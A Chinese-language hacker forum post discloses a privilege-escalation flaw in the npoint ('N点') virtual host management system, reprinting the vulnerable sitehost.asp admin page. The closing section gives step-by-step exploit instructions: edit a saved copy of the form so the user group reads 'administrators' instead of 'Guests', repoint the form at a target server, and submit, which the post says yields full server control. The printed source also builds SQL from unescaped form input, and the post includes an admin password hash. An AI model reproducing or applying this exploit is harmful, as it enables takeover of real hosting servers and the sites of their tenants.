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这是N致命的漏洞 直接拿服务器权限。因为 直接关系到MYSQL MSSQL SA和ROOT 不过加密方式我还在看他的加密代码。有点迷糊。。。 我看了网上还没有N点虚拟主机管理系统的个方面ODAY之类的发不出来。。等我全部测试完写好就发布。 3057C0DB854C878E72756088058775这是admin 的加密 30位应该是CFS
这个漏洞本人 发现 已经很长时间了 由于时间比较忙一直没有发布。。 因为涉及服务器 比较多我就不发布怎么 得到后台PSW了。。。。 首先先分析下sitehost.asp他致命漏洞所在的页面
<!--#include file="sessioncolck.asp" --> <!--#include file="pagesession/CS1.asp" --> <!--#include file="../inc/conn.asp" --> <!--#include file="../inc/char.asp" --> <!--#include file="../inc/function.asp" --> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" /> <title>Powered By npoint</title> <link href="../css/style.css" rel="stylesheet" type="text/css" /> <script src="../js/ajax_x.js" type="text/javascript"></script> <script src="../js/alt.js" type="text/javascript"></script> </head> <body> <% rs.open "Select * from hostcs",conn,1,1 ftpsoft=rs("ftpsoft") 'FTP软件 hostdomain=rs("hostdomain") '赠送域名 diskpe=rs("diskpe") '磁盘配额 ftpid=rs("ftpid") 'IISFTP标识符 doc=rs("doc") '默认文档 servupath=rs("servupath") 'Serv-u/Gene6 安装路径 servuid=rs("servuid") 'Serv-U 7.X ID号 servudomain=rs("servudomain") 'Serv-u7.x/Gene6 域名称 webpage=rs("webpage") '开设欢迎页 appsitenum=rs("appsitenum") '超过多少网站 自动创建程序池 yncreateapploop=rs("yncreateapploop") '是否自动创建程序池 dcapppool=rs("dcapppool") '当前自动创建完的程序池 appbtitle=rs("appbtitle") '自动创建程序池标头 rs.close set iishost=server.createobject("npoint.host") '加载组件 if request.QueryString("action")="kshost" then '叛断输入的域名是否合法或有带WWW if trim(request.form("domain"))<>"" then if ubound(split(trim(request.form("domain")),"."))<1 then call ErrMsgBox("操作失败.\n\n1.绑定的域名不合法,请更换") response.End() else if LCase(split(trim(request.form("domain")),".")(0))="www" then call ErrMsgBox("操作失败.\n\n1.绑定的域名不包括www,请更换") response.End() end if end if end if '叛断FTP账号是否合法 chkftp=chk_ftpuser(trim(request.form("FTPuser"))) if chkftp<>"1" then call ErrMsgBox(chkftp) response.End() end if '叛断域名是否存在 if trim(request.form("domain"))<>"" then rs.open "Select host_domain,todomain from sitehost",conn,1,1 if rs.bof and rs.eof then rs.close else for i=1 to rs.recordcount if rs("host_domain")="" then H_D="" else H_D=rs("host_domain") & "|" end if if rs("todomain")="" then T_D="" else T_D=rs("todomain") & "|" end if All_domain=All_domain & H_D & T_D rs.movenext next rs.close if All_domain<>"" then Fall_domain=split(mid(All_domain,1,len(All_domain)-1),"|") for s=0 to ubound(Fall_domain) if Fall_domain(s)=trim(request.form("domain")) or Fall_domain(s)="www."&trim(request.form("domain")) then call ErrMsgBox("操作失败.\n\n1.绑定域名已存在,请更换.") response.End() end if next end if end if end if '叛断FTP账号是否存在 rs.open "Select FTPuser from sitehost where FTPuser='"&trim(request.form("FTPuser"))&"'",conn,1,1 if rs.bof and rs.eof then rs.close '设置站点标识符ID号 rs.open "Select * from sitehost order by id desc",conn,1,1 if rs.bof and rs.eof then ifid=2 '站点标识符 else ifid=rs("ID")+1 end if rs.close '计算到期时间 sdate=date() '开设时间 if ubound(split(sdate,"-"))>1 then d_fgh="-" elseif ubound(split(sdate,"/"))>1 then d_fgh="/" elseif ubound(split(sdate,"."))>1 then d_fgh="." end if Fjdate=split(sdate,d_fgh) Tyear=int(Fjdate(0))+int(request.form("Eyear")) Tmone=int(Fjdate(1))+int(request.form("Emone")) if int(Fjdate(2))=31 then dayx=int(Fjdate(2))-1 else dayx=int(Fjdate(2)) end if if Tmone>12 then if Tmone-12=2 and dayx=29 then Edate=Tyear+1 & d_fgh & Tmone-12 & d_fgh & "28" '到期时间 else Edate=Tyear+1 & d_fgh & Tmone-12 & d_fgh & dayx '到期时间 end if else if Tmone=2 and dayx=29 then Edate=Tyear & d_fgh & Tmone & d_fgh & "28" '到期时间 else Edate=Tyear & d_fgh & Tmone & d_fgh & dayx '到期时间 end if end if '自动创建程序池或独立程序池 if yncreateapploop=1 then if request.Form("autocreateapp")=0 then Appstate=iishost.appstateyn(appbtitle&"_"&dcapppool)'叛断进程池是否存在 1为存在 0为不存在 if Appstate=1 then uidapple=appbtitle&"_"&dcapppool rs.open "Select apppool from sitehost where RID=1 and apppool='"&uidapple&"'",conn,1,1 if rs.bof and rs.eof then rs.close iisapppool_B=uidapple else if int(rs.recordcount)>int(appsitenum-1) then R=iishost.creatiisapp(appbtitle&"_"&dcapppool+1, "", "", "",1,"","") if R=1 then rs.close conn.Execute("Update hostcs Set dcapppool='"&dcapppool+1&"'") iisapppool_B=appbtitle&"_"&dcapppool+1 else rs.close rs.open "Select * from errorlist where errora='"&R&"'",conn,1,1 if rs.bof and rs.eof then call SucBox("操作失败.\n\n错误代码:"&R,"sitehost.asp") else call SucBox("操作失败.\n\n错误代码:"&R&"\n\n错误提示:"&rs("errorlist"),"sitehost.asp") end if rs.close response.End() end if else iisapppool_B=uidapple end if end if elseif Appstate=0 then R=iishost.creatiisapp(appbtitle&"_"&dcapppool, "", "", "",1,"","") if R=1 then iisapppool_B=appbtitle&"_"&dcapppool else rs.open "Select * from errorlist where errora='"&R&"'",conn,1,1 if rs.bof and rs.eof then call SucBox("操作失败.\n\n错误代码:"&R,"sitehost.asp") else call SucBox("操作失败.\n\n错误代码:"&R&"\n\n错误提示:"&rs("errorlist"),"sitehost.asp") end if rs.close response.End() end if end if elseif request.Form("autocreateapp")=1 then R=iishost.creatiisapp(""&trim(request.form("FTPuser"))&"", "", "", "",1,"","") if R=1 then iisapppool_B=trim(request.form("FTPuser")) else rs.open "Select * from errorlist where errora='"&R&"'",conn,1,1 if rs.bof and rs.eof then call SucBox("操作失败.\n\n错误代码:"&R,"sitehost.asp") else call SucBox("操作失败.\n\n错误代码:"&R&"\n\n错误提示:"&rs("errorlist"),"sitehost.asp") end if rs.close response.End() end if end if elseif yncreateapploop=0 then iisapppool_B=trim(request.form("apppool")) end if '开设主机 R=iishost.createsite(ifid,ftpid,trim(request.form("FTPuser")),trim(request.form("FTPpass")),trim(request.form("domain")),hostdomain,doc,trim(request.form("IISnum")),trim(request.form("MAxnum")),trim(request.form("spanum")),trim(request.form("sitepath")),iisapppool_B,"","","",trim(request.form("rznum")),ftpsoft,servupath,trim(request.form("csnum")),servuid,servudomain,trim(request.form("userGroup")),diskpe,webpage) if int(R)>1 then todomain="" if trim(request.form("domain"))<>"" then host_domain=trim(request.form("domain"))&"|www."&trim(request.form("domain")) else host_domain="" end if '添加主机记录 ftppassword=iishost.Eduserpassword(trim(request.form("FTPpass")),1) '加密FTP密码 if yncreateapploop=1 then conn.Execute("insert into sitehost(RID,Ifid,FTPuser,FTPpass,fupath,host_domain,todomain,sitedoc,spanum,IISnum,MAxnum,tfordnum,sitepath,apppool,rznum,csnum,userGroup,Azip,Azipnum,Xzip,Xzipnum,sitestate,Sdate,Edate,appdlnum,appautocreat) values(1,'"&R&"','"&trim(request.form("FTPuser"))&"','"&ftppassword&"',1,'"&host_domain&"','"&todomain&"','"&doc&"',"&trim(request.form("spanum"))&","&trim(request.form("IISnum"))&","&trim(request.form("MAxnum"))&","&trim(request.form("tfordnum"))&",'"&trim(request.form("sitepath"))&"','"&iisapppool_B&"',"&trim(request.form("rznum"))&","&trim(request.form("csnum"))&",'"&trim(request.form("userGroup"))&"',"&trim(request.form("Azip"))&","&trim(request.form("Azipnum"))&","&trim(request.form("Xzip"))&","&trim(request.form("Xzipnum"))&",1,'"&sdate&"','"&Edate&"',"&trim(request.Form("autocreateapp"))&","&yncreateapploop&")") else conn.Execute("insert into sitehost(RID,Ifid,FTPuser,FTPpass,fupath,host_domain,todomain,sitedoc,spanum,IISnum,MAxnum,tfordnum,sitepath,apppool,rznum,csnum,userGroup,Azip,Azipnum,Xzip,Xzipnum,sitestate,Sdate,Edate,appdlnum,appautocreat) values(1,'"&R&"','"&trim(request.form("FTPuser"))&"','"&ftppassword&"',1,'"&host_domain&"','"&todomain&"','"&doc&"',"&trim(request.form("spanum"))&","&trim(request.form("IISnum"))&","&trim(request.form("MAxnum"))&","&trim(request.form("tfordnum"))&",'"&trim(request.form("sitepath"))&"','"&iisapppool_B&"',"&trim(request.form("rznum"))&","&trim(request.form("csnum"))&",'"&trim(request.form("userGroup"))&"',"&trim(request.form("Azip"))&","&trim(request.form("Azipnum"))&","&trim(request.form("Xzip"))&","&trim(request.form("Xzipnum"))&",1,'"&sdate&"','"&Edate&"',0,"&yncreateapploop&")") end if '更新站点数量 conn.Execute("Update sitepath Set sitenum=sitenum+1 Where sitepath='"&trim(request.form("sitepath"))&"\"&"'") call SucBox("操作成功.","adminsitehost.asp") else if yncreateapploop=1 and trim(request.Form("autocreateapp"))=1 then X=iishost.deliisapp(""&trim(request.form("FTPuser"))&"") '发生错误 - 删除独立程序池 end if rs.open "Select * from errorlist where errora='"&R&"'",conn,1,1 if rs.bof and rs.eof then call SucBox("操作失败.\n\n错误代码:"&R,"sitehost.asp") else call SucBox("操作失败.\n\n错误代码:"&R&"\n\n错误提示:"&rs("errorlist"),"sitehost.asp") end if rs.close end if else rs.close call ErrMsgBox("操作失败.\n\n1.FTP账号已存在,请更换.") end if end if %><table width="100%" border="0" cellpadding="0" cellspacing="1" class="site_bg_site"> <tr> <td width="100%" height="28" align="left" class="site_top_bg" scope="col"> ·站点虚拟主机开设</td> </tr> </table> <table width="100%" border="0" cellpadding="0" cellspacing="1" class="site_bg_site"> <script language="JavaScript" type="text/javascript"> function len(s) { var l = 0; var a = s.split(""); for (var i=0;i<a.length;i++) { if (a.charCodeAt(0)<299) { l++; } else { l+=2; } } return l; } function checkform(theForm){ if (theForm.FTPuser.value=="") { window.alert("请输入FTP账号"); theForm.FTPuser.focus(); return false; } if (len(theForm.FTPuser.value)<3) { window.alert("FTP账号必须为3-20位的字符"); theForm.FTPuser.focus(); return false; } if (theForm.FTPpass.value=="") { window.alert("请输入FTP密码"); theForm.FTPpass.focus(); return false; } if (len(theForm.FTPpass.value)<6) { window.alert("FTP密码必须为6-20位的字符"); theForm.FTPpass.focus(); return false; } if (theForm.toFTPpass.value=="") { window.alert("请输入FTP确认密码"); theForm.toFTPpass.focus(); return false; } if (theForm.toFTPpass.value!=theForm.FTPpass.value) { window.alert("两次FTP密码不一致"); theForm.toFTPpass.focus(); return false; } if (theForm.spanum.value=="") { window.alert("请输入空间大小"); theForm.spanum.focus(); return false; } if (theForm.IISnum.value=="") { window.alert("请输入IIS连接数"); theForm.IISnum.focus(); return false; } if (theForm.MAxnum.value=="") { window.alert("请输入带宽限制"); theForm.MAxnum.focus(); return false; } if (theForm.tfordnum.value=="") { window.alert("请输入子目录绑定个数"); theForm.tfordnum.focus(); return false; } if (theForm.sitepath.value=="") { window.alert("请选择存放路径"); theForm.sitepath.focus(); return false; } <%if yncreateapploop=0 then %> if (theForm.apppool.value=="") { window.alert("请选择应用程序池"); theForm.apppool.focus(); return false; } <%end if%> if (theForm.Azipnum.value=="") { window.alert("请选择可解压大小"); theForm.Azipnum.focus(); return false; } if (theForm.Xzipnum.value=="") { window.alert("请选择可压缩大小"); theForm.Xzipnum.focus(); return false; } sAlert('正在开设虚拟主机...请稍等!'); theForm.button.disabled=true; return true; } function exchange_App() { if (document.form1.autocreateapp.value =='0') { apppool_S.innerHTML ="由系统自动选择 每 <%=appsitenum%> 个站 自动创建 一个应用程序池"; } if(document.form1.autocreateapp.value =='1') { apppool_S.innerHTML ="使用FTP账号创建一个独立应用程序池"; } } </script> <form action="?action=kshost" method="post" id="from1" name="form1" onSubmit="return checkform(this)"> <tr> <td width="13%" height="22" class="site_bg_bs" scope="col"> 域名绑定:WWW.</td> <td width="87%" class="site_bg_bs" scope="col"><input name="domain" type="text" class="input_to_to" id="domain" size="30" title="请输入域名(可留空) 如:npointhost.com(不包含www) "> <span class="syt_1">可留空 如:</span>npointhost.com</td> </tr> <tr> <td height="22" class="site_bg_bs" scope="col"> FTP账号:</td> <td class="site_bg_bs" scope="col"><input name="FTPuser" type="text" class="input_to_to" id="FTPuser" size="30" maxlength="20" title="请输入FTP账号(必填)"> <span class="syt_1">* 请输入3-20位的字符</span></td> </tr> <tr> <td height="22" class="site_bg_bs" scope="col"> FTP密码:</td> <td class="site_bg_bs" scope="col"><input name="FTPpass" type="password" class="input_to_to" id="FTPpass" size="30" maxlength="20" title="请输入FTP密码(必填)"> <span class="syt_1">* 请输入6-20位的字符</span></td> </tr> <tr> <td height="22" class="site_bg_bs" scope="col"> FTP确认密码:</td> <td class="site_bg_bs" scope="col"><input name="toFTPpass" type="password" class="input_to_to" id="toFTPpass" size="30" maxlength="20"></td> </tr> <tr> <td height="22" class="site_bg_bs" scope="col"> 空间大小:</td> <td class="site_bg_bs" scope="col"><input name="spanum" type="text" class="input_to_to" id="spanum" title="请输入空间大小(必填) 如: 100" onKeyUp="value=value.replace(/[^0-9,]/g,'')" size="5" maxlength="9" /> M <span class="syt_1">必须0-9的数字</span></td> </tr> <tr> <td height="22" class="site_bg_bs" scope="col"> IIS连接数:</td> <td class="site_bg_bs" scope="col"><input name="IISnum" type="text" class="input_to_to" id="IISnum" title="请输入IIS连接数(必填) 如: 100" onKeyUp="value=value.replace(/[^0-9,]/g,'')" size="5" maxlength="9" /> 个 <span class="syt_1">必须0-9的数字 0</span>为不限制连接数</td> </tr> <tr> <td height="22" class="site_bg_bs" scope="col"> 带宽限制:</td> <td class="site_bg_bs" scope="col"><input name="MAxnum" type="text" class="input_to_to" id="MAxnum" title="请输入带宽限制(必填) 如: 1024" onKeyUp="value=value.replace(/[^0-9,]/g,'')" size="5" maxlength="9"> KB/秒 <span class="syt_1">必须0-9的数字 0</span>为不限制带宽</td> </tr> <tr> <td height="22" class="site_bg_bs" scope="col"> 子目录绑定:</td> <td class="site_bg_bs" scope="col"><input name="tfordnum" type="text" class="input_to_to" id="tfordnum" title="请输入子目录绑定个数 如: 2" onKeyUp="value=value.replace(/[^0-9,]/g,'')" size="5" maxlength="9"> 个 <span class="syt_1">必须0-9的数字 0</span>为禁止使用</td> </tr> <tr> <td height="22" class="site_bg_bs" scope="col"> 存放路径:</td> <td class="site_bg_bs" scope="col"><select name="sitepath" class="input_to_to" id="sitepath" title="请选择存放路径(必选)"> <option>请选择存放路径</option> <%rs.open "Select * from sitepath where pathclass=1 and pathyn=1",conn,1,1 if rs.bof and rs.eof then else do while not rs.eof %> <option value="<%=mid(rs("sitepath"),1,len(rs("sitepath"))-1)%>"><%=rs("sitepath")%></option> <% rs.movenext loop end if rs.close %> </select></td> </tr> <tr> <td height="22" class="site_bg_bs" scope="col"> 应用程序池:</td> <td class="site_bg_bs" scope="col"><% if yncreateapploop=0 then%><select name="apppool" class="input_to_to" id="apppool"> <option>请选择应用程序池</option> <% R=iishost.listapppool() listname=split(R,";") listappnum=ubound(listname) if listappnum<>0 then for i=1 to listappnum relist=split(listname(i),",") %> <option value="<%=relist(0) %>"><%=relist(0) %></option> <% next end if%></select><%elseif yncreateapploop=1 then %><select name="autocreateapp" class="input_to_to" id="autocreateapp" onChange="javascript:exchange_App()"> <option value="0" selected>系统自动选择</option> <option value="1">使用独立程序池</option> </select> <span id="apppool_S">由系统自动选择 每 <%=appsitenum%> 个站 自动创建 一个应用程序池</span><%end if%></td> </tr> <tr> <td height="22" class="site_bg_bs" scope="col"> 日志记录:</td> <td class="site_bg_bs" scope="col"><select name="rznum" class="input_to_to" id="rznum"> <option value="0">禁用</option> <option value="1">启用</option> </select></td> </tr> <tr> <td height="22" class="site_bg_bs" scope="col"> 用户权限:</td> <td class="site_bg_bs" scope="col"><input type="radio" name="csnum" id="radio" value="1"><span class="syt_1">读取</span> | <input type="radio" name="csnum" id="radio2" value="2"><span class="syt_1">读取/写入</span> | <input name="csnum" type="radio" id="radio3" value="3" checked><span class="syt_1">读取/写入/删除</span> | <input type="radio" name="csnum" id="radio4" value="4"><span class="syt_1">读取/写入/删除/运行</span></td> </tr> <tr> <td height="22" class="site_bg_bs" scope="col"> 用户组:</td> <td class="site_bg_bs" scope="col"><select name="userGroup" class="input_to_to" id="userGroup"> <option value="" selected>无用户组</option> <option value="Guests">Guests</option> </select></td> </tr> <tr> <td height="22" class="site_bg_bs" scope="col"> 在线解压:</td> <td class="site_bg_bs" scope="col"><select name="Azip" class="input_to_to" id="Azip"> <option value="0">禁用</option> <option value="1">启用</option> </select> <input name="Azipnum" type="text" class="input_to_to" id="Azipnum" onKeyUp="value=value.replace(/[^0-9,]/g,'')" value="10" size="5" maxlength="9"> M <span class="syt_1">0 </span>为不限制大小</td> </tr> <tr> <td height="22" class="site_bg_bs" scope="col"> 在线压缩:</td> <td class="site_bg_bs" scope="col"><select name="Xzip" class="input_to_to" id="Xzip"> <option value="0">禁用</option> <option value="1">启用</option> </select> <input name="Xzipnum" type="text" class="input_to_to" id="Xzipnum" onKeyUp="value=value.replace(/[^0-9,]/g,'')" value="10" size="5" maxlength="9"> M <span class="syt_1">0 </span>为不限制大小</td> </tr> <tr> <td height="22" class="site_bg_bs" scope="col"> 主机期限:</td> <td class="site_bg_bs" scope="col"><select name="Eyear" class="input_to_to" id="Eyear"> <option value="0">0年</option> <option value="1" selected>1年</option> <option value="2">2年</option> <option value="3">3年</option> <option value="4">4年</option> <option value="5">5年</option> <option value="6">6年</option> <option value="7">7年</option> <option value="8">8年</option> <option value="9">9年</option> <option value="10">10年</option> </select> <select name="Emone" class="input_to_to" id="Emone"> <option value="0">0个月</option> <option value="1">1个月</option> <option value="2">2个月</option> <option value="3">3个月</option> <option value="4">4个月</option> <option value="5">5个月</option> <option value="6">6个月</option> <option value="7">7个月</option> <option value="8">8个月</option> <option value="9">9个月</option> <option value="10">10个月</option> <option value="11">11个月</option> </select></td> </tr> <tr> <td height="28" colspan="2" align="center" class="site_bg_bs" scope="col"><input name="button" type="submit" class="button_butt" id="button" value="开设主机"></td> </tr> </form> </table> </body> </html>
以上代码 431行<option value="Guests">Guests</option> 致命代码
看到以上分析大家明白了吗? 不明白没问题 继续分解。。。
等到管理密码 直接 进入 开空间 也就 http://www.***.com/admin/sitehost.asp
现在大家 先别急 右键 查看代码 将代码保存 到 本地 或直接另存为
保存到 本地后 进行代码修改 。Ctrl +F 进行查找 <option value="Guests">Guests</option>
将 <option value="Guests">Guests</option> Guests 修改为 administrators
<option value="administrators">administrators</option>
看到现在了,明白了吧? 继续
然后 Ctrl + F 查找 <form action="?action=kshost" method="post" id="from1" name="form1" onSubmit="return checkform(this)"> 修改为 <form action="http://www.***.com/admin/sitehost.asp?action=kshost" method="post" id="from1" name="form1" onSubmit="return checkform(this)"> 网上大把的了。。
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